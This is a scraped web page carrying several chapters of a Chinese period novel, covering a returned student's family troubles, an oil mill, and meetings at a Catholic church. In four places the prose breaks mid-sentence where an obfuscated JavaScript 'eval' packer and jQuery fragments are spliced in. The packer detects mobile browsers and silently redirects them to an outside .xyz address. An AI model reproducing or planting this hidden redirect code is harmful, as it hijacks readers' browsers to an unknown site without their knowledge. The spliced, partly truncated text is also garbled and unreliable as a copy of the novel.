两人同时松了口气。 “请医生到正厅慢慢说。” 刘珉之回过神：“对，医生这边请。” 王桂英让小葱去通知老太太，自己跟着男人过去。 正厅已备下茶水糕点，刘琼越一身军装，坐在主位。 那医生脚一软：“刘、刘部长。” 刘琼越沉着脸，示意他坐下慢慢说。 “我父亲怎么样？” “目前已无大碍，只是还要将养几日，这几日切不能见风，可以吃些强身健体的补药。” 刘琼越敲着手指：“是中风吗？” “这……不好说。” 王桂英突然想起来：“医生，我爹他现在能说话了吗？” “还……还不能。” 几人心里一沉。 刘琼越抱胸：“医生，你有话不妨直讲。我们刘家是讲道理的人家，自个儿身体不好不会怪罪到医生头上。” 医生用白大褂的袖子擦汗。 “是、是这样。老先生五脏亏虚，不能用猛药，只能慢慢调养，现在天气还不算冷，没有大碍，只看能不能熬过今年冬天。” 刘珉之心头茫然。 刘琼越细细问了用药，包了赏钱，差人送医生回县医院。 等人走了，刘琼越一声冷笑：“庸医，连药都不敢开。” 刘珉之六神无主。 刘琼越拍拍他的肩膀：“我已差人去请中医馆的老郎中了，一个医生的诊断不作数的。” “我明白的，大哥。” 刘琼越之前就说过父亲的情况不好，可说是一回事，事到临头是另一回事。刘珉之不敢相信，昨日还威严训斥自己的父亲今日就病倒了。 “郎中不刻便到，我公务缠身，家里就靠你们了。” 刘珉之白着脸应了。 王桂英忙道：“早饭热好了，大哥吃两口再走吧。” “算了，我现在也吃不下。” “那我叫人装起来，大哥得空吃两口也好。” 王桂英匆匆去吩咐厨房。 “别想那么多，爹的病反反复复的，一时半会儿倒不了。你老实在家陪他几天，就什么事都想通了。” “大哥……” “好了，”刘琼越拍拍他的脸，“有个大人样儿。” 刘珉之挤出一个笑：“嗯。” 刘琼越的侍卫拎着餐盒护他上小汽车，刘珉之二人去刘伯参屋里等郎中，刘伯参闭着眼，呼吸还算平稳，只是脸色青白。 老太太在床边拄着拐打瞌睡，她已年老，无法再扮演照顾者的角色。 王桂英叫她先去吃早点，劝说她的身子可不能再垮了，老太太摸着儿媳的手叹气，乖乖去了。 “你也去吃吧。” 王桂英瞧瞧窗外：“等郎中来了再说。” 她知道刘珉之这会儿定吃不下饭，也没劝他去。 中医馆的郎中到了，还是同一套说辞，不过好歹开了个进补的汤药方子。 刚吩咐完人去抓药，刘伯参闷闷咳嗽两声。 刘珉之大喜，跪在床头。 “爹，您怎么样？” 刘伯参说不出话，只一味咳嗽。 王桂英给喂进去两口水，隔一会儿又吐出来了。 “没事没事，郎中说了，吃了吐吐了吃，多少能补上一点。” 刘伯参虚弱地点头。 刘珉之接过了喂水大任，没一会儿，厨房送来一碗乳鸽红枣人参汤，也不知是从哪里变来的。刘伯参喝进去两口，神色缓和些许。 刘珉之头一回见父亲害病，吓得不轻，一整天寸步不离。 隔天，刘伯参还是不见好转。刘珉之回了山西的信，说家父病重，愚弟只求身前尽孝，至于所学所志，皆为身后之图，俯恳沈兄谅解。 信封贴了邮票寄出去，刘珉之一整天没说话，王桂英默默陪着，也不多话。 刘伯参一病好些天，世交的叔伯皆来探望。刘珉之回国后本该一一拜访他们，如今倒是都在家里见了。 又过两天，刘伯参身体好转，刘珉之这才松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501951|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气，有空想自己的事。 这个冬天结束之前，他不会离开漳县了。 在漳县找个差事做不难，刘家在各个部门都有熟人，只要想做没有他进不去的。苏学章也来刘府探过一回病，约他去新中学讲课，刘珉之暂时推了。 他想做化工，他毕竟是学这个的。 他打算开个机械制造厂，和刘琼越说了，却劝他韬光养晦。 “漳县离东北太近，不太平，现在做企业很不安稳。况且，你早晚要出去的，不要在家里留下太多牵绊。” 大哥懂他。 “可是，”刘珉之想起父亲，想起他托付的刘家基业，“我……我也想留在家里。” 刘琼越笑了。 “你要是实在闲不住，就去军工部帮我做事。等你真确定想呆在家，你爱做什么做什么。” 这倒是个好办法。 刘珉之开始跟着大哥每天早上出门上班，去军工部点卯，但他远比大哥清闲，日常工作不过检查、清点器械，与同僚喝茶聊天，偶尔喝酒，每日早早放值回家。 王桂英把家里的事打理的井井有条，他从没操过心。他对这个名义上的妻子心中有愧，有时想就这样和她过下去算了。 可是，总差点什么。 差点什么呢？ 山西的回信寄来了，沈承枢安慰他好好陪父亲颐养天年，再大的事也没有家人大，“况年华正好，来日方长”。 刘珉之将回信折好收起，心徒然松快起来。 他闲暇无事，用军工部的废铁做了个螺旋加压的压榨装置，虽然不是全自动的，但绝对比古老的木龙榨好用。 今日放值无事，他打算拿去送给榨油坊那对夫妇。 主任姓方，是个国字脸的憨厚男人，边擦眼镜边和他闲聊：“小刘今天心情很好啊？” 刘珉之一笑：“还好。” 方主任对镜片哈两口气：“心情好就早点下班，我也坐不住了。” “主任，您对我们也太松泛了。” “都是出来打工的，差不多就好喽。咱们这部门清闲，做一天是一天，没必要像军务部那些人天天斗的你死我活。” 刘珉之挑眉：“军务部闹的很凶？” 方主任咂咂嘴：“就差没直接打起来了，要是哪天日本人打过来，我都怕他们先给自己人来两枪。” “这么夸张？” “你见识过就晓得我说的夸不夸张。” 方主任站起来。 “行了行了，下班吧，我要接闺女放学喽。” 刘珉之哭笑不得：“好。” 军工部免费提供各大省部的报纸，几位同僚从不看地方小报，都不知道他是刘府的少爷。刘珉之乐的自在，偶尔听别人聊起大哥的传闻，都是用说大人物那种讳莫如深的口吻。 刘珉之觉得有趣，却也心疼大哥辛苦。 刘家养了两个车夫，一个是专门接送刘伯参，另一个其他人有事出门，或者客人接来送往用。 刘伯参身子才好些，又想去□□转悠，被两个儿子硬劝住了。他的专用车夫现在负责接送刘珉之。 “去集市榨油坊。” 车夫一句话不说，吭哧吭哧往目的地跑。 9. 木龙榨 榨油坊内正在吵架。 汉子的怒吼声震的牌匾都在颤抖，延绵不绝的，像波涛。女人的话则不多，但是音调儿高，嗓子尖利，爆竹似的夹在汉子的声浪里。 “你个臭娘们老子打死你！” “你来啊！” 刘珉之进门，一个陶罐迎面击来。 “嘶！” 他缩脖扭头，罐子险险地贴眉骨擦过，倒是不疼。 “刘少爷！” “少爷！” 汉子手足无措，小孩似的原地罚站：“您，您怎么来了。” 妇人两步跑来，抬手扒他脸，往眉骨揉了好几下，脸刷地白了：“出、出血了。” 汉子慌了：“都、都怨你！吵架就吵架，你丢什么东西？” 刘珉之摸摸眉毛，一看指尖，就一线薄红。 “没事。” 就这点血，估计还是妇人给揉出来的。 “我、我。” 妇人拿出帕子，又缩回来，估计怕刘珉之嫌脏。 在原地转了会儿圈，妇人的脑子终于开始运作：“我去拿金疮药！” “不用，就一个小口子。” 两人哪里听得进去，自顾自地忙碌许久，刘珉之坐在藤椅上，眉骨盖了一层厚厚的黑色药粉。 妇人拿铜镜给他照，刘珉之看着别扭。 夫妇俩并排站着，紧张地等待审判。 刘珉之按下要擦眉毛的手。 “真没事。” 汉子讪讪地：“刘少爷，您怎么突然来了，也不告诉我们一声。” “我就顺路来看看，怎么，不欢迎？嫌我没写拜帖？” 他并没逗笑二人。 妇人惴惴地绞着手指：“没有没有，少爷能来是我们的福气。” 他们俩身上倒是挂着货真价实的彩儿。汉子额上一块圆形的淤斑，没破皮儿流血，只有暗沉的青紫色，像刑罚在脸上的黔纹。妇人也不好过，脸颊是肿的，脖子上几根通红的指印，活动了半天，颜色丝毫没消，可见掐的人有多用力。 刘珉之皱眉：“你们夫妻俩，怎么闹这么凶？” 汉子斜眼望天：“没有，就是闹着玩的。” “这也叫闹着玩？”刘珉之看向妇人，“他先动的手？” 妇人沉默。 刘珉之结案：“你先动手就是你不对，打老婆的男人最没出息。” 汉子跳脚：“我没有！是这婆娘没事找事！” 刘珉之很失望。 他并不认识这汉子，小时候的榨油坊是个鳏夫老头儿开的，后来老的做不动便关门了。 这汉子言行草莽，像个使力气的乡下人，许是才攒够钱来县城开的店。刘珉之上次白受他一罐花生油，还以为是个瑕不掩瑜的厚道人。倒是看走眼了。 他听不进汉子怨天尤人，站起身，再不想来这儿了。 “少、少爷。” 妇人弱弱地喊他。 “实在对不住您，您看得起我们，来我们这坐，却让您瞧笑话了。” 她说着说着，泪珠打着串儿往下掉。 和汉子打战都没哭，这会儿却止不住了。 她哭的汉子很难为情：“你哭什么啊？好像我真欺负你了。” 刘珉之皱眉，递手绢给她。 她慌张摆手，只用袖子揩脸，又猛吸两下鼻子。 “少爷您坐，我去烧壶茶。” “不用，我马上就走。” “哦……哦，对，少爷肯定有正事要忙。” 妇人尴尬地笑。 她这才注意到刘珉之脚边的大包袱。 “少爷是去送东西吗？” 刘珉之叹了口气。 “这东西是给你们的。” 两人一愣：“给我们？” “嗯，打开看看。” 妇人跪坐在地上，将裹着的黑布取了，露出里面的大铁疙瘩。 汉子挠头：“这是个啥？” 妇人力气大，抱着铁疙瘩转了几圈，欣喜道：“这是榨油的机子？” 刘珉之点点头。 汉子蹲下来：“这东西能榨油？” 妇人咬着嘴唇：“不行，少爷，这东西太贵重了，我们不能要。” “这东西不要钱，我自己做着玩的，不一定好用。” “肯定好用！”妇人笃定道。 她眼睛亮亮的，抱着机子赞不绝口：“您真是太厉害了。” 刘珉之笑了：“就是个小玩意儿，可以代替木龙榨的木头杠杆，和前面的石锤部分，把原来连着的木头框拆了，安在石槽上就能用。” 见妇人听得认真，他起了兴致：“走，我教你们怎么用。” 妇人十分激动：“好！” “诶！” 那汉子慌了，又不好说什么，跟着往屋里走。 刘珉之对着螺旋压榨机和木龙榨比划：“把这块儿拆了，然后用钢架固定，里面有铁杆和螺丝，直接拧上去，固定好了直接用。用法是一样的，但这个是螺旋的，会更省力气。” 妇人不住点头：“我这就试试。” “急什么！”汉子大喊，“刘少爷难得来一趟就光陪你胡闹？去倒碗水去。” 妇人不好意思地擦擦手：“您瞧我。” 她倒水出来，刘珉之已被汉子拖到柜台，在看店里新榨的油。 “少爷您瞧，这个是大豆油，可香了。还有这个，这个是菜籽儿的，这个量少，就榨了一批。” 他拿出陶罐和长柄勺：“你都带点回去尝尝！” “真不用。” 妇人忙道：“您就尝一些吧，我们家没有好东西，只有这点油了。” 她倒是诚恳，刘珉之想想，还是应了。 人情的往来是一种牵绊，要了人家的东西，下次就得给。 一来一往的，交情便结下了。 刘珉之并不想结这份交情，但妇人对他的产品还算热心，他想看看后续使用效果。 他对自己的技术很有信心，这种装置设计简单，使用范围并不广泛，无法量产赚钱，但刘珉之也不图赚钱。 他只是在漳县太无聊了。 刘珉之两天后又来到榨油坊。 这次店里很安静，妇人不在，汉子四仰八叉在藤椅上睡觉。 刘珉之没吭声，往后头走两步，看到那个木头和石槽做成的大家伙儿。 汉子手脚筋肉一抽，猛地跳起来：“呀！是刘少爷，吓死我了。” 他揉揉眼睛。 “您怎么来了?我去倒水。” “不用。” 刘珉之绕木龙榨走了两步。 汉子明白过来，挠挠脸。 “刘少爷，那个，您上次给的那个东西太沉了，还没来得及换，等下次榨油的时候再用。” 刘珉之斜他一眼。 “我的东西呢？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501952|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “收起来了。” 汉子站在原地，脚都没动一下。 刘珉之冷笑：“是你扔了吧？” 汉子神色大变：“少爷，冤枉啊！您的东西我哪敢丢？我供起来还来不及！” “东西呢，拿出来给我看。” 汉子脸都快挠烂了，额头的淤青似乎涨的更紫。 “那个，收进地窖了，不太方便。” 这种谎都撒的出。 刘珉之冷冷道：“蠢货。” “什、什么？” 汉子涨红了脸，嘴唇嗫嚅地像在弹琴，硬是不敢多说一个字。 “你就是舍不得你这祖传的宝贝木头，是不是？” 汉子不说话。 “目光短浅的蠢货。” 刘珉之很少生气，他想，犯不着跟这么一个家伙生气。不敢尝试新事物的人多了，清朝灭亡二十五年还有人留辫子呢。 可是自己好心送出去的、亲手制作的工艺品，放着不用就算了，居然还平白扔掉了。 “你并不适合开店，你适合做一辈力气活儿，”刘珉之嘲弄道，“像你这种人，就算钱送到你跟前，你也会绕过去的。” “少爷……我……” 刘珉之叹了口气，后悔自己居然来这里两次。 他走出店门。 傍晚的人并不多，今天的天气是沙黄色的，人和建筑都显得陈旧。 他叫车夫回去，自己独行在大街上。 街上现在一点儿也不热闹，像在看没声音的胶片电影。 穿马褂的、穿长衫的，苍老的、呆板的。 他在去法国之前也是生活在这些人中间吗？他以前，也是这群人里的一员吗？ 记忆真是不可靠的东西。 刘珉之突然看到一顶八瓣莲花嵌绿松石的瓜皮帽，底下一条黑白交杂油腻腻的粗辫子。 他走过去。 “钱管家，你怎么在这？” “二少爷。” 钱管家板板正正鞠了一躬。 “我刚从米铺回来，买块儿豆腐回家吃饭。” 刘家在县城有六七家米铺，即将秋收，正是忙着点货换货的时候。 “辛苦钱管家了。” “二少爷这是哪里话。” 钱管家拱着手，客客气气的。 “钱管家，我一直想问，”刘珉之无聊地瞧他腰椎处晃动的小尾巴，“为什么你还在留辫子？” “你见多识广，不是认死理儿的人，也没受过大清的恩惠，实在没有留它的必要。” 钱管家瞥他。 他只比刘伯参年轻几岁，但远比对方矍铄。 “我就是懒得剪。” 刘珉之皱眉：“什么？” “二少爷，不要对我们这种人有太多指望。” “活着嘛，能每天看看老婆孩子，一块儿吃顿饭，就很值了。” “其他的事，我懒得做。” 答案居然是这样。 刘珉之与钱管家分别。 现在去哪？各回各家？ 刘珉之百无聊赖。 或许应该答应方主任去喝酒的。 刘珉之又看见一个眼熟的身影，那人的腰腹结实，肩膀浑圆，腿脚却没什么力气，踉踉跄跄的。 是榨油坊那妇人。 妇人失魂落魄，脸上泪痕未干，完全没注意到刘珉之。 她这是去哪？ 10. 苏湘子 刘珉之跟随妇人来到一座哥特式尖顶建筑。 灰白色的墙面饱经风霜，上个世纪涂抹的石灰分崩离析，化作深深浅浅的瘢痕。 这座天主教教堂是1860年法国传教士来到漳县修建的，它独特和美丽的造型吸引了无数大清子民，一些人皱紧眉头唾弃这里，另一些人走进来歌颂上帝。 这座西式建筑配了一扇黑漆木门，原先本是扇铁门，1883年清法战争时被激愤的民众摧毁过一次，事后筹钱修好了，又赶上1900年义和团的扶清灭洋运动，农民起义军经过这里，将铁门卸下运走，说作盾牌用可以挡住洋人的火炮。 百年来，宗教与各地群众的摩擦从未间断，但终究扎根在这片土地。 困顿迷茫的妇人走进黑漆的大门，视野高旷，最前方是耶稣受难的十字架。 妇人并没有仰望圣子乞求垂怜，令她神情激动的是一个正在祷告的信徒。看见那人，妇人的腿脚立马康健了，三两步到信徒身旁的长椅坐下。 刘珉之好奇，坐在后方。 看背影是一个年轻女人，她双手合十抵住额头，在虔诚地默念什么。 刘珉之只能看到她柔软垂落的头发，浅棕色的羊毛卷，精致漂亮，明显才烫过，这在漳县很少见。 等她诵念完，榨油坊的妇人才敢开口：“苏老师。” “是你啊，大姐。” 这位苏老师的声音不疾不徐，咬字清楚，语调顿挫，听着如沐春风。 这声音有些耳熟。 刘珉之思绪飘远，身体前倾，假装自己在做祷告，偷偷听下去。 “你怎么来教堂了？今天不做礼拜。” 妇人低头不看她：“今天不忙，出来走走。” 苏老师了然：“又和你先生吵架了？” 先生？真是位文绉绉的女老师，她肯定没见过榨油坊那汉子，刘珉之想。 妇人没做声。 苏老师语调婉转，缓缓开解她：“你蒙受了苦难，尽可以找主诉说。但你总是蒙受一样的苦难，主只能施于你怜悯，却不能从天而降帮助你。” 妇人乞求道：“苏老师，我，求您帮帮我。” 女老师似乎轻笑了一声。 “大姐，你似乎搞错了，我不是神的使者，只是个和你一样迷茫的信徒。” “我知道的，我知道的。” “我只是，只是，实在不知道该怎么办，我……” 她泪如雨下。 苏老师叹了口气，拿出浅蓝色珠光的手绢给她擦泪。 漂亮的手绢泛了潮，她虚攥在手里。 “你之前不是说，想回娘家帮秋收吗？” “是，”妇人吸着鼻子，“但我男人不让我回，田里的货收上来一批了，店里正忙着舂谷子、磨苞米、压秋油，他一个人做不过来。” 苏老师没说话。 妇人继续倾诉：“我让男人给家里拿钱，雇两个短工，他就是不肯，说十来亩田几天就忙完了。可是我家里就哥哥嫂嫂两个人干活，我娘腿脚不好，还帮我带着儿子咧，总不能让我娘也跟着下地吧。” “我娘说我没良心，可是我也难啊。在县城里呆一年了，钱没赚几个，天天吃饭喝水还要花钱。在乡里要给地主分粮，在县里要给老爷交租，钱钱钱，一睁眼就是钱。” “他还……他还天天和我吵架，说我不安分。” 她停下来，这回是默默地哭。 苏老师轻声开口。 “我给教堂捐了很多钱，你知道的。” 妇人慌忙摆手：“苏老师，我没有那个意思。” “当然，”苏老师笑了，“我给教堂捐钱，是因为主会让钱流向它该去的地方。如果主认为你应该得到钱，那么钱应该由主给你，而不是我。” 妇人茫然地望着十字架。 她不是要钱，她也不知道自己要什么。 向苏老师求救完全是病急乱投医，只是她不说点什么，她会发疯。 “我还记得，你说想去外头做女工。” 妇人立马道：“那是乱说的。” “好，乱说的。” 妇人突然感到难以言喻的羞耻：“苏老师，你咋还记得这个。” “因为你当时很认真。” 妇人张着嘴。 “你当时甚至想要离婚，一个人带孩子，还记得吗？你说你不想再和先生吵架了。是我们刚认识的时候，你和我说的。” 她发不出声音。 苏老师继续说：“当然，人是会变的，这很寻常。不管你是谁，不管你在哪，主会永远理解你，祝福你。” 她的手在额头、胸口、左肩和右肩各点一下，画了个十字。 张姐跟着做了一样的动作。 “好了，我该回家了，如果你不想回去，就在这里多祷告一会儿吧。” 她站起身，半裙雨伞似的撑开。 “苏老师，慢走。” 妇人起身目送她，这一扭头，却看见了惹眼的刘珉之。 她懵了：“少爷，您怎么在这？” 教堂里只零星几个人，况且刘珉之的外形条件优越，更加惹眼。 他本就生的高瘦，今日穿着量体定做的深灰色西服套装，配斜条纹的领带，气度不俗。 所有人都穿衣裳，但衣裳与衣裳的区别正如人与人的区别一样大。衣服有不同的材质、款式、剪裁，领结、袖口、下摆有不同的装饰搭配，西方的贵族绅士愿意花几十上百个小时去挑选适合自己的西装，在每一处细节上锱铢必较，最后累积起来，令穿上的效果与众不同。 审美是慵懒、轻盈的体现，需要足够的精力和财力支撑。 先敬罗裳后敬人，正是此理。 刘珉之也得见这位苏老师的正身，她穿一件蕾丝花边的白衬衫，泛珠光的丝绸料子，和斜纹织布的蓝色长裙很相称。衣裙垂顺地勾勒出纤细的身体，扣子一丝不苟地系好，只领口露出一小片雪白的脖颈。 在这个年代，衣服像无声的旗帜，可以快速区分不同的人。 刘珉之眼睛在看苏老师，嘴里却不动声色回答妇人的话：“我来找保罗神父。” “不巧，神父外出布道了，”苏老师看看妇人，又看看他，“你们认识？” 说认识似乎高攀，妇人解释道：“刘少爷来我家买过油。” “先生也是天主教徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501953|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” “我不是。” 硬要说的话，刘珉之是务实主义者，他根据立场来决定身份。在父亲刘伯参膝下他是儒家文化的接受者；在法国学习时是科学知识的信奉者；和沈承枢等人忙于抗战筹款时，又是中华民国的拥护者；想要退婚时，又是自由恋爱的拥趸者。 “但我想天主应该不会赶我出去。” “当然，”苏老师轻笑，“主赐福每一个人。” “自我介绍一下，我是——” “您是刘珉之刘先生吧？我认得你。” 刘珉之很意外：“小姐怎么知道？” 女老师眯起眼睛，她的眼尾微微下垂，瞳孔是浅棕色的，清清淡淡。 “家父与刘先生见面后，常说刘先生是难得有真才实学之人。我实在好奇，便找了报纸看，上面有刘先生的照片。” 刘珉之恍然。 “您是苏校长的千金？” 女教师愉快地点头。 “不错，我叫苏湘子，在新中学做英文老师。” 英文教师？刘珉之想起苏学章邀他去新中学做客那日，曾听见学生朗读英文，领读的老师一口标准流利的西洋腔，想来就是她了。 刘珉之伸出手：“幸会。” 苏湘子半握住他的手掌。 “今日得见，苏小姐方知我不过一介俗人，实在承蒙苏校长错爱。” “怎会？刘先生比照片上还要英俊。” 刚认识的人只讲客套话，刘珉之深知这一点。 不过，被漂亮的异性夸赞总归令人愉悦。 苏湘子很漂亮，白皙透亮的鹅蛋脸，杏眼香腮，皮肤水灵的像才从江南的水乡画里出来。 “苏小姐说这话我可要当真了。” “真话自然要当真。” 他们的交流礼貌而克制，又讲几句客套话，苏湘子看一眼腕上的表。 “苏小姐还有事要忙？” “算是吧，”苏湘子沉吟片刻，“要去见一位朋友。” 刘珉之不便多问，与她道别。 “苏小姐再见。” “刘先生再见。” 教堂空阔，是上好的回音场所，苏湘子的短跟皮鞋在石砖上哒哒作响。 她离开的太快，刘珉之还来不及真正认识她。 还会再见吗？ 他与苏湘子的交谈太顺畅，完全忘记在场还有第三个人。 妇人不自在地动动手脚。 诚然，刘珉之因为无聊去过榨油坊两次，苏湘子则常和她一起祷告、还带她听过收音机，但极不对等的关系就是这样，来往的权限完全掌握在高位者一边。 现在只剩她和刘珉之，妇人率先开口：“刘少爷，我，我也走了，我得回去做饭。” 刘珉之的注意从不在她身上，随口应了。 “还有，那个，”她艰难地咽了咽口水，“少爷上次给我们的机子很好用，压起油来省力气多了。” 刘珉之沉默了一会儿。 “是吗，那太好了。” “真的很感谢少爷。” “嗯。” 妇人如释重负离开教堂，刘珉之摇头一笑。 11. 保罗神父 刘珉之方才说来教堂找保罗神父，不算说谎，他和这位神父确实认得。 保罗神父今年52岁，他20岁就到中国布教，在这里度过半生有余。 刘珉之第一次知道他是在八九岁的时候，保罗神父挨家挨户上门传教，轮到刘家，被刘伯参客客气气请了出去。 神父大受感动，觉得这家人既没有动手，也没有骂街，一定是对主心怀感念，有被教化的潜质。于是一连几天登门拜访，虽未布道成功，倒与刘家人相熟了。 说起来，刘珉之选择去法国留学，也有这位神父的影响。 刘珉之略坐一会儿，等到神父回教堂。 “嘿!好久不见，我的二刘！” 保罗神父穿着黑色长袍，一头灰白色蜷发，皮肤泛红有斑，松松垮垮挂在崎岖的骨骼上。 刘珉之笑着与他贴脸拥抱。 “好久不见，老齐。” 保罗神父大名齐保罗，据说齐是他救命恩人的姓，他乐意听别人喊他老齐。 老齐厚实的手掌在刘珉之后背上连拍几下，力道嗙嗙嗙作响。 “走！去我屋里聊，早听说你回来了，没空去看你。” “该我来找你的，别怨我来的晚。” 老齐哈哈大笑。 “来了就好，来了就欢迎。” 老齐的房间就挨在教堂后边的告解室，但是环境比教堂差远了，像是用剩下的泥料随手糊的。房间十来平大小，有电灯，但是灯光昏暗。屋里面一张床、一张书桌和一把椅子，余下就是些生活必需品，水壶、水杯、毛巾，还有床头一本圣经。 水壶是空的，老齐去院子里摇上来井水，一人倒一杯捧在手上。 刘珉之坐椅子，他自己坐床上。 “怎么样，在法国生活不错吧？” “当然，法国是个很美的国家。” 听到对祖国的称赞，老齐骄傲地仰起脖子，他的颈部满是赘皮，从下巴一条斜线连到胸口。 刘珉之用法语和他聊法国的艺术、法国的人民，齐保罗神情激动，唾沫横飞。 刘珉之又聊起巴黎的街道，安东尼的戏剧，还有与德国在莱茵兰的冲突，老齐沉默了，他离开法国太久，这些不是他熟悉的话题。 刘珉之收住话头。 “老齐，你居然舍得离开那么美丽的家乡。” 老齐嘿笑，颈部的皮肉弹簧似的抖动。 “我那时候太年轻，特别想在外国传播主的福音，没想到就在中国呆了一辈子。” 刘珉之有些感慨：“你没想过回去吗？” “都过去了。” 齐保罗并没多说，或许到他这个年纪，遗憾会和空气一样寻常。 “二刘，你受洗了吗？” ”没有。” 齐保罗追问：“你没有在西方找到信仰？” 刘珉之觉得好笑：“都说了我不信教。” 神父犹不死心：“你有文化，有知识，不是野蛮人，你应该知晓天主。” “是的，我知晓祂，我也尊重祂，所以我也尊重祂的使者，也就是您。” 神父摸摸没有胡子的下巴：“好吧，你是个特别的文明人。” 刘珉之不经意地转移话题。 “我刚才在教堂看到一个很漂亮的女信徒。” “谁？”保罗想了想，“我猜是苏小姐，她经常来。” 刘珉之颇有兴趣：“她是你发展的教徒吗？” “不是。” 保罗有些挫败，许多年来，他对工作一腔热忱，但是收效甚微。 “她是在北京受洗的。” “北京？” “是的，她在北京读大学，被同学介绍，纳入主的怀抱，”保罗突然反应过来，“你在打探她的信息？” “没有，随便问问。” 刘珉之扭头。 保罗神父拍腿大笑：“别害羞，二刘，喜欢漂亮女性是正常的。我主虽然要求神职人员保持纯洁，不可进入婚姻，但对信徒没有要求，据我所知，苏小姐还是单身。” 刘珉之抓着下巴。 “二刘，正好你也单身，在中国，你这个年纪也该结婚了，苏小姐是个不错的选择。” 他，单身？ “怎么了？” “没、没什么。” 下意识回答后，刘珉之开始唾弃自己的无耻。 包办婚姻在西方观念里不作数，他安慰自己。 保罗神父并未发现异常，两人交谈一阵，神父送他出去。 “二刘，我可以帮你受洗，这样你就有很多机会接触苏小姐。” “神父，您这样传教太不择手段了。” 保罗大笑：“好吧，我彻底放弃了，我无法说服你。” “这不影响您始终是一位优秀的传教士。” 花园里，修女玛丽正在铲土，她在中国学会了自己耕种土豆和豌豆，这为她和保罗提供了很多营养。 “您好，玛丽女士。” 玛丽女士是一位脾气古怪的老太太，她斜眼看过来，有气无力地点点头。 保罗扯着嗓子问：“玛丽，今天工作怎么样？” 玛丽兼任教堂医生，为教众提供廉价的医疗服务。 事实上，她依靠市区教会提供的西药，为贫困农民免费治病，发展了好几位信徒。 “一切正常。” 说完，她继续翻土。 保罗耸耸肩。 “这么多年过去，这里还是只有您和玛丽女士两个人。” “嘿，现在的年轻教士不愿意来中国传教了，就算来，也只愿意去上海北京那种大城市。” “是啊，这是时代的选择。” 他们经过狭小的忏悔室进入教堂，天色已晚，教堂前方有两位衣着讲究的老人家正在祷告，看见神父共同起身问好。 “愿主赐福您。” 神父和男人碰了碰额头，在女人的额头上用手掌轻轻抚过。 “感谢神父。” 保罗面向他们后撤几步，调转方向继续走。 快要走到黑漆木门，两人停下。 一个男人俯趴在最后一排，睡的很香，能听到他均匀的呼吸。 他的西装外套盖在身上，两个袖子皱皱巴巴，睡相大大咧咧的，一条腿延伸出椅子，另一条腿侧耷在地上，他的头发许久没修，半长不短盖在后脑勺，像一个绒线球。 保罗突然往这人屁股踹了一脚，把刘珉之吓一跳。 “你怎么又来了，给我滚出去！” 刘珉之不明所以：“怎么发这么大火？” “你别管。” 保罗将人从长椅上拽起来，刘珉之这才看见他脸上熏红，像是醉了。 “神父，你好啊。” 醉汉眼睛微眯，往保罗怀里栽。 保罗将他丢开，掼回长椅上。 “你又来捣乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501954|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 保罗义愤填膺。 “怎么能是捣乱呢？我一心，一心向主。” 男人双腿和舌头都打了结，站也站不稳，说也说不清。 前方的两位老夫妇往这边看，保罗勉强压制住怒气。 “你给我滚出去。” “神父，你这样，主会，怪罪你的。” “滚。” “真不讲道理啊。” 醉汉拍拍脑袋清醒过来，用两根指头拎起西装外套，往肩后一甩。 他往外走了两步，又回头道：“神父，帮我受洗吧，我每个月都来捐钱。” “滚！” 保罗中气十足，余音绕着教堂的尖顶旋转徘徊，经久不散。 醉汉举手投降，离开教堂。 刘珉之朝那对受惊的老夫妇摆摆手，也拉着神父离开教堂。 “何必这么生气？” 保罗余怒未消。 “那个醉鬼！对主不敬！” 刘珉之拍拍他的背。 “好了好了，老齐你什么人没见过，没必要和他一般见识。” 保罗又讲了几句法国国粹，勉强控制住情绪。 “二刘，忘记我的失态，教堂永远欢迎像你这样的文明人，哪怕你不信教。” “我的荣幸。” 保罗神父说教堂欢迎他，他还真往心里去了。 接下来几天，刘珉之又去了几趟教堂，一个人坐半小时再回家。 玛丽女士很少用正眼看人，她一边洒扫教堂，一边有气无力道：“苏小姐这几天都没来。” 刘珉之左右看了看：“玛丽女士，您在和我说话？” 